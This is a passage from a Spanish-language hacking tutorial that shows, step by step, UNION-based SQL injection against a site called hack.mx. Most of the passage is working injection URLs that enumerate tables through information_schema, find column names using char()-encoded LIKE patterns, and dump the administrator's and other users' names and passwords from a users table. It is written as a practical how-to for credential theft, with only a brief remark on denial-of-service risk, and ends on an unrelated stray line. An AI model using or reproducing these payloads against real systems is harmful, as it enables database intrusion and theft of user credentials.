4- Buscando nuestra tabla

Ahora que ya podemos imprimir lo que queramos en esos campos, buscaremos la tabla que contiene el usuario y contraseña de los usuarios. Para recorrer las tablas de una base de datos se utilizaremos lo siguiente:

http://www.hack.mx/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1

Al ejecutar eso, nos mostrará el nombre de una tabla, pero no es la que queremos. Para recorrer las tablas en busca de la tabla que nos interesa, aumentaremos progresivamente el limit. Por ejemplo para ver la siguiente tabla:

http://www.hack.mx/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+2,1

y la siguiente:

http://www.hack.mx/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+3,1

Así continuamos hasta encontrar una que pueda contener lo que nosotros queremos, el usuario y contraseña del administrador. Traceamos hasta llegar al 17:

http://www.hack.mx/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+17,1

Users, ésa parece ser la tabla donde se guarda esos datos ( podría haberse llamado también admin, access, o cualquier nombre sospechoso).

5- Buscando nuestras columnas

Ahora que ya tenemos la tabla, sólo nos queda saber que datos imprimir. Nosotros queremos el nombre de usuario y la contraseña, pero tenemos que saber como se llaman esas columnas para poderlas imprimir. Tracear columnas es similar a tracear tablas, se usa lo siguiente:

http://www.hack.mx/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+information_schema.columns+
where+table_name=char(NombreDeLaTablaEnAscii)+and+column_name+like+char(37,64,37)

En NombreDeLaTablaEnAscii irá el nombre de la tabla en código ascii separado por comas, aquí podemos ver las conversiones, luego subo un programa para hacer ésto de una forma más cómoda.

La inyección quedaría así:

http://www.hack.mx/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,64,37)

Oh, pero no se muestra nada! Tranquilo, ahora tenemos que ir traceando. Vamos aumentando el valor de 64 porgresivamente e iremos viendo diferentes nombres de columnas. Probemos con 65:

http://www.hack.mx/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,65,37)

Ah bien ya tenemos una de las columnas que buscabamos la que guarda el pass! Vale pues ahora a por la otra, la del usuario, seguimos traceando:

El 67 no nos muestra nada, el 68 nos muestra id que no nos interesa… 69 lo tenemos!

6- Imprimiendo los datos

Ya tenemos todo! Sabemos que tenemos que leer la columna Pass y la columna nombre de la tabla users, pues vamos a armar la inyección:

http://www.hack.mx/index1.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users

Bien ya está! Tenemos el nombre de usuario y contraseña del administrador! Bueno, pues aprovechamos que tenemos todo y sacamos la de otro user:

http://www.hack.mx/index1.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users+where+id=2

Ahí mandamos imprimir el nomre y pass de la tabla users donde el id es 2, el id del Admin suele ser 1, como es el primero se puede omitir y lo imprime igual.

Como sería para los demás users? Pues igual, solo cambiando el id.

Pues ésto fue todo por hoy, lo dejamos aquí de momento.

NOTA: el comando ‘ or 1=1 — se enseño y es para que entiendan como funciona un SQLI, pero no es lo recomendable ya que es un comando que sabiendo como funciona puede provocar un DOS al sistema ya que puede ser una BD de millones de datos.

Estas diferente, no soy yo, dices que tu tampoco, ¿Será el presente?